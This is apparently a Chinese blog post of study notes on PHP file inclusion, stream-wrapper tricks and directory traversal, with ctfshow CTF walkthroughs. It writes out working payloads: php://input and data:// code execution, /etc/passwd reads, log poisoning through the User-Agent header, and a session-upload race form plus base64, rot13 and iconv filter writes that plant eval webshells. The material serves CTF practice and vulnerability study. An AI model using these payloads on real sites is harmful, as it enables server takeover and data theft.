文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒&文件安全&目录安全

一、文件包含、伪协议、无文件利用等

1.文件包含原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

比如include($_GET['file']);
用?file=1.txt
txt里写的是后门
这样包含的文件被当作当前脚本语言去代码执行

分类:
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI【php远程包含开关开启,或者php.ini的allow_url_include=ON。这样才可以用远程包含。地址后面直接?file=地址】
差异原因:由代码过滤和环境配置文件开关决定

危害:
本地包含:没有上传,文件就是固定的,包含带有供给的代码。有文件利用的话,上传一个文件,配合上传,文件写有恶意代码。
无文件利用:
1.配合文件上传
2.包含日志文件利用
3.包含session文件利用
4.无文件支持伪协议利用

php伪协议

文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs (fopen ('shell.php','w'),'<?php@eval($_GET[cmd]); ?>'); ?>
代码执行:
php://input POST:<?php phpinfo ();?>
data://text/plain, <?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路:
直接搭建一个可访问的远程URL包含文件

2、白盒审计

-白盒发现:
可通过应用功能追踪代码定位审计
可通过脚本特定函数搜索定位审计
可通过伪协议玩法绕过相关修复等16
PHP: include, require, include_once, require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行require函数出现错误的时候,会直接报错并退出程序的执行
Java: java.io.File, java.io.FileReader等
ASP.NET: System.IO.FileStream, System.IO.StreamReader等

3、黑盒分析

-黑盒发现:主要观察参数传递的数据和文件名是否对应23
URL中有path、dir、file、pag、page、archive、p、eng、语言文等相关字眼

二、题目案例

1.无文件读取

出来是加密的,用64base解密
image

2.过滤php

代码执行data协议
data+base64
image
这里的编码原代码是读取根目录下的文件。可以改成读取当前目录,或者直接找flag.php
image

3.过滤php、data

可以用日志包含
image

image
然后尝试把代码写到UA里去,这样相当于代码会执行
用抓包工具
image
而后界面会显示
image
然后继续找这个fl0g.php
image
image
这里显示出3333后,右键查看源代码
image

4.过滤php、data、冒号、点

这题练条件竞争
image
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件

点击查看代码
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="<?php fputs(fopen('shell.php,'w'),'<?php@eval ($_POST[1])?>'?" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

session包含
Ctfshow Web入门 - 文件包含总结

把session文件传过去
image
抓包,cookie改掉
image
接下来不断发包,不断产生session文件,写入后门代码。同时一直访问。
image
image
image

5.用到编码(64base,凯撒)

通过 php://filter 包装器创建一个名为 123.php 的文件,并向其中写入经过 Base64 解码后的内容。php://filter/write=convert.base64-decode/resource=123.php进行两次URL编码就行。
然后content=base64值转换的命令
image
这题有Base64的填充和对齐规则,编码要每3个字节即24位一组编码,生成四个字符,如果原始数据长度不是3的倍数,编码结果末尾就添加==,确保总长度是4的倍数。
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==不考虑填充符的情况下有效数据长度为75个字节,不是4的倍数。前面要加两个a,让整个字符串变60字节,这样才能正常分组解码。
image
尝试访问123.php
image
这里查看源代码就能取到flag
image

或者用凯撒加密
url编码2次:
php://filter/write=string.rot13/resource=2.php
content=

6.过滤php及各种通配符(64base)

过滤php就用data协议
image
用base64绕过
image

*base64编码结果不能有统配符号,需要尝试加点东西让结果没有符号
比如后面加了“ad”
image

7.过滤了各种关键字

没过滤php,所以用php和iconv加密
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

点击查看代码
<?php
$result = iconv ("UCS-2LE", "UCS-2BE", '<?php eval ($_PoST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>

playload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
image
访问a.php
image
image

三、文件安全&目录安全

1.文件安全-前后台功能点-下载&读取&删除-黑白盒

下载=读取

常规下载(直连下载)的URL:
http://www.IP.com/upload/123.pdf
可能存在安全问题的URL:
http://www.IP.com/xx.xx?file=123.pdf
安全问题,在于下载的文件以参数值的方式发送解析下载,如果更改的参数值就是指定下载文件

利用:常规下载敏感文件(数据库配置,中间件配置,系统密钥等文件信息)

文件删除(常出现后台中)

可能存在安全问题:前台或后台有删除功能应用利用:常规删除重装锁定配合程序重装或高危操作
比如进入后台后用install,会提示先从ftp删除
image
抓包删除
image
如果提示操作不存在可以如下
image
*删除是高危操作,尽量谨慎

2.目录安全-前后台功能点-目录遍历&目录穿越

目录遍历

目录权限控制不当,通过便利获取有价值的信息文件加以利用

目录穿越(常出现在后台)

目录权限控制不当,通过控制查看目录路径穿越到其他目录或判断获取价值文件再利用

黑盒分析

  • 功能点
    文件上传,文件下载,文件删除,文件管理器等地方
  • URL特征
    文件名:
    download, down, readfile, read, del, dir, path, src, Lang等参数名:
    file, path, data, filepath, reIdfile, data, url, realpath等

白盒分析

上传类函数,删除类函数,下载类函数,目录操作函数,读取查看函数等

posted @ 2026-06-21 14:29  CCLluvia  阅读(6)  评论(0)    收藏  举报